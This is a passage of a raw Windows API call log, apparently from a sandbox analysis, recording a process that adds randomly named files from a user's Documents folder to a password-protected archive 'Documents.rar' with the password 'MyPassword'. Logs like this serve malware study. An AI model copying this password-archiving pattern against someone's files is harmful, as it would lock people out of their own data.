(HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0082.926] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.926] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a070 | out: hHeap=0x1162e7c0000) returned 1 [0082.926] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079fb0 | out: hHeap=0x1162e7c0000) returned 1 [0082.926] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e60, Size=0x53) returned 0x1163204d580 [0082.926] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d580, Size=0x8f) returned 0x1163209a4c0 [0082.926] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209a4c2*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163209a4c2*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8d, lpOverlapped=0x0) returned 1 [0082.926] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.926] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209a4c0 | out: hHeap=0x1162e7c0000) returned 1 [0082.926] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1547ca [0082.926] CloseHandle (hObject=0x350) returned 1 [0082.926] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.926] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.926] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.926] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.926] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.926] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.926] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\jlf_v3jmdmbqkd.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.927] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.927] GetTickCount () returned 0x2a88a [0082.927] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.927] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.927] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.927] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.927] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="jfYQRF.csv") returned 10 [0082.927] SetWindowTextW (hWnd=0x10300, lpString="jLF_V3JmdmbQkD.ots") returned 1 [0082.927] GetTickCount () returned 0x2a88a [0082.927] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.927] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.928] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.928] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.928] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x19d)) [0082.928] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.928] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17425642081) returned 1 [0082.928] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x18f53, lpOverlapped=0x0) returned 1 [0082.929] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba6f93, nNumberOfBytesToRead=0xe70ad, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba6f93*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.929] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.929] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.929] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0082.929] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.929] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e60, Size=0x48) returned 0x1162e888ea0 [0082.929] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0082.929] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0082.929] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fb0, Size=0x48) returned 0x1162e888ef0 [0082.929] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.929] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.929] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.929] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.929] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a70 | out: hHeap=0x1162e7c0000) returned 1 [0082.929] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b00 | out: hHeap=0x1162e7c0000) returned 1 [0082.929] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x5d) returned 0x1162e7f9f40 [0082.929] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9f40, Size=0x99) returned 0x1162e873c20 [0082.929] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.929] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e873c20 | out: hHeap=0x1162e7c0000) returned 1 [0082.930] GetTickCount () returned 0x2a88a [0082.930] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17425820029) returned 1 [0082.930] GetTickCount () returned 0x2a88a [0082.930] GetTickCount () returned 0x2a88a [0082.930] GetTickCount () returned 0x2a88a [0082.930] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.930] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.930] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.930] ResetEvent (hEvent=0x344) returned 1 [0082.930] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.932] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.932] ResetEvent (hEvent=0x344) returned 1 [0082.932] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.937] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.938] ResetEvent (hEvent=0x344) returned 1 [0082.938] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.940] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.940] GetTickCount () returned 0x2a89a [0082.940] GetLastError () returned 0x0 [0082.940] SetLastError (dwErrCode=0x0) [0082.940] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0082.940] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0082.940] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0082.940] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0082.941] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17426953934) returned 1 [0082.941] GetTickCount () returned 0x2a89a [0082.941] GetTickCount () returned 0x2a89a [0082.941] GetTickCount () returned 0x2a89a [0082.941] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0082.941] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0082.941] GetFocus () returned 0x1031c [0082.941] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0082.941] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0082.941] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0082.941] GetFocus () returned 0x1031c [0082.941] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0082.942] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.943] ResetEvent (hEvent=0x33c) returned 1 [0082.943] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.944] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.944] ResetEvent (hEvent=0x33c) returned 1 [0082.944] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.945] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.945] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.945] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.945] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1547ca [0082.945] SetFilePointer (in: hFile=0x32c, lDistanceToMove=151, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x154861 [0082.945] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.945] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.945] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.945] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.945] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x19040, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x19040, lpOverlapped=0x0) returned 1 [0082.947] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.947] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.947] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1394634, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1547ca [0082.947] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1547ca [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.947] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e60, Size=0x48) returned 0x1162e888ea0 [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.947] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e60, Size=0x48) returned 0x1162e888ef0 [0082.947] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.947] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.947] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0082.947] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e60 | out: hHeap=0x1162e7c0000) returned 1 [0082.947] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x5d) returned 0x1162e7f97d0 [0082.947] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f97d0, Size=0x99) returned 0x1162e8749e0 [0082.947] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e8749e2*, nNumberOfBytesToWrite=0x97, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e8749e2*, lpNumberOfBytesWritten=0x141a0d82c0*=0x97, lpOverlapped=0x0) returned 1 [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.947] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x97) returned 0x1163209b460 [0082.947] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.947] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8749e0 | out: hHeap=0x1162e7c0000) returned 1 [0082.948] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x16d8a1 [0082.948] CloseHandle (hObject=0x350) returned 1 [0082.948] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.948] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.948] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.948] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.948] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d4c0 [0082.948] FindClose (in: hFindFile=0x1163204d4c0 | out: hFindFile=0x1163204d4c0) returned 1 [0082.948] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\3k35zmjoiqgyrohkpmkk.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.948] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.948] GetTickCount () returned 0x2a8aa [0082.948] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.949] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.949] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.949] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.949] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="jLF_V3JmdmbQkD.ots") returned 18 [0082.949] SetWindowTextW (hWnd=0x10300, lpString="3k35ZmjoIQgYRoHKpmkK.pdf") returned 1 [0082.949] GetTickCount () returned 0x2a8aa [0082.949] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.949] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.950] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.950] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.950] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x1bc)) [0082.950] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.950] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17427826814) returned 1 [0082.950] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x8651, lpOverlapped=0x0) returned 1 [0082.950] ReadFile (in: hFile=0x350, lpBuffer=0x11631b96691, nNumberOfBytesToRead=0xf79af, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b96691*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.950] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.950] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.950] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.951] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0082.951] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x48) returned 0x1162e888680 [0082.951] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.951] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0082.951] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x48) returned 0x1162e888ea0 [0082.951] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.951] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0082.951] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.951] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.951] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0082.951] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e60 | out: hHeap=0x1162e7c0000) returned 1 [0082.951] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x71) returned 0x1162e875840 [0082.951] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e875840, Size=0xad) returned 0x1162e7f6dc0 [0082.951] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.951] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f6dc0 | out: hHeap=0x1162e7c0000) returned 1 [0082.954] GetTickCount () returned 0x2a8aa [0082.954] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17428244571) returned 1 [0082.954] GetTickCount () returned 0x2a8aa [0082.954] GetTickCount () returned 0x2a8aa [0082.954] GetTickCount () returned 0x2a8aa [0082.954] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.954] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.954] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.955] ResetEvent (hEvent=0x344) returned 1 [0082.955] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.962] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.962] ResetEvent (hEvent=0x344) returned 1 [0082.962] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.963] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.963] GetTickCount () returned 0x2a8aa [0082.963] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17429156392) returned 1 [0082.963] GetTickCount () returned 0x2a8aa [0082.963] GetTickCount () returned 0x2a8aa [0082.963] GetTickCount () returned 0x2a8aa [0082.963] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.963] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.963] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.963] ResetEvent (hEvent=0x33c) returned 1 [0082.963] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.965] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.965] ResetEvent (hEvent=0x33c) returned 1 [0082.965] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.966] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.966] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.966] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.966] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x16d8a1 [0082.966] SetFilePointer (in: hFile=0x32c, lDistanceToMove=171, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x16d94c [0082.966] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.966] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.966] CryptUnprotectMemory 